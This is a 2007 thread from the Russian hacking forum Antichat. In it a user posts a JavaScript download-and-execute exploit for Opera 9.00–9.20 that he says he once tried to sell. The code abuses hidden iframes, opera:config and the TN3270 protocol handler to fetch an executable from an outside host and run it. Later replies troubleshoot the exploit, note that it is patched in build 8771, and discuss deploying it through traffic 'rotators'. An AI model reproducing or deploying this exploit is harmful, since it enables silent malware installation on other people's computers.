Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Сплойт на Opera 9.00-9.20 (https://forum.antichat.xyz/showthread.php?t=47006)

V1k 18.08.2007 13:12

Сплойт на Opera 9.00-9.20
 
Решил выложить тот самый сплойт, который весной пытался продавать.
Код:

<script>
blank_iframe = document.createElement('iframe');
blank_iframe.src = 'about:blank';
blank_iframe.setAttribute('id', 'blank_iframe_window');
blank_iframe.setAttribute('style', 'display:none');
document.appendChild(blank_iframe);
blank_iframe_window.eval
        ("config_iframe = document.createElement('iframe');\
        config_iframe.setAttribute('id', 'config_iframe_window');\
        config_iframe.src = 'opera:config';\
        document.appendChild(config_iframe);\
        app_iframe = document.createElement('script');\
        cache_iframe = document.createElement('iframe');\
        app_iframe.src = 'http://v1k.jino-net.ru/1AAFD5A890CFC6/calc.exe';\
        app_iframe.onload = function ()\
        {\
                cache_iframe.src = 'opera:cache';\
                cache_iframe.onload = function ()\
                {\
                        cache = cache_iframe.contentDocument.childNodes[0].innerHTML.toUpperCase();\
                        var re = new RegExp('(OPR\\\\w{5}.EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"'+app_iframe.src.toUpperCase(), '');\
                        filename = cache.match(re);\
                        config_iframe_window.eval\
                        (\"\
                        opera.setPreference('Network','TN3270 App',opera.getPreference('User Prefs','Cache Directory4')+parent.filename[1]);\
                        app_link = document.createElement('a');\
                        app_link.setAttribute('href', 'tn3270://nothing');\
                        app_link.click();\
                        setTimeout(function () {opera.setPreference('Network','TN3270 App','telnet.exe')},1000);\
                        \");\
                };\
                document.appendChild(cache_iframe);\
        };\
        document.appendChild(app_iframe);");
</script>


Nightmarе 18.08.2007 14:57

Но 1 вопрос... файл то загружается (не твой естесстно), но у меня почему-то не запускается...
Я ведь так понял он скачанный файл должен запустить???

V1k 18.08.2007 15:05

Ты бы сказал версию и билд.
Вместо файла открывается телнет?
Может ошибки какие JavaScript выдает?

Nightmarе 18.08.2007 15:25

просто скачивает файл куда-то и типа страница загруженна и всё... никаких ошибок..
У меня:
Информация о версии
Версия
9.20
Сборка
8771
Платформа
Win32
Система
Windows XP
Java
Sun Java Runtime Environment version 1.2
XHTML+голос
Плагин не загружен

inv 18.08.2007 15:54

спс стер адрес к телнету больше черз оперу он не загрузится)
уже 9.23 опера есть кстати..

V1k 18.08.2007 15:58

К сожалению
Цитата:

Сообщение от madnet
В версии 9.20 build 8771 уязвимость устранена.


Nightmarе 18.08.2007 16:24

Ну так погоди этот сплойт всё таки файл запускает или что делает???
А то есть смысл воткнуть его кое-куда..

V1k 18.08.2007 18:04

ну да, download&execute файла из `app_iframe.src`
подружится с любыми ротаторами=) но трафф для него нужен специфический

gibson 19.08.2007 22:26

афтору респект давно искал сплойт под оперу, вот сейчас бы только в нем разобраться. Такая проблема запускаю его (опера 9.00 defolt) выскакивает сообщение что программа не найдена, в заголовке указывается пусть до js в папке с кеш'ю. Если переименовать его в exe, то прога скачаная запустится. В других версиях не пробовал. Если мож помоги разобраться с ним

Zliden 20.08.2007 00:09

Цитата:

Сообщение от V1k
ну да, download&execute файла из `app_iframe.src`
подружится с любыми ротаторами=) но трафф для него нужен специфический

Поясни по трафу плиз


Время: 10:40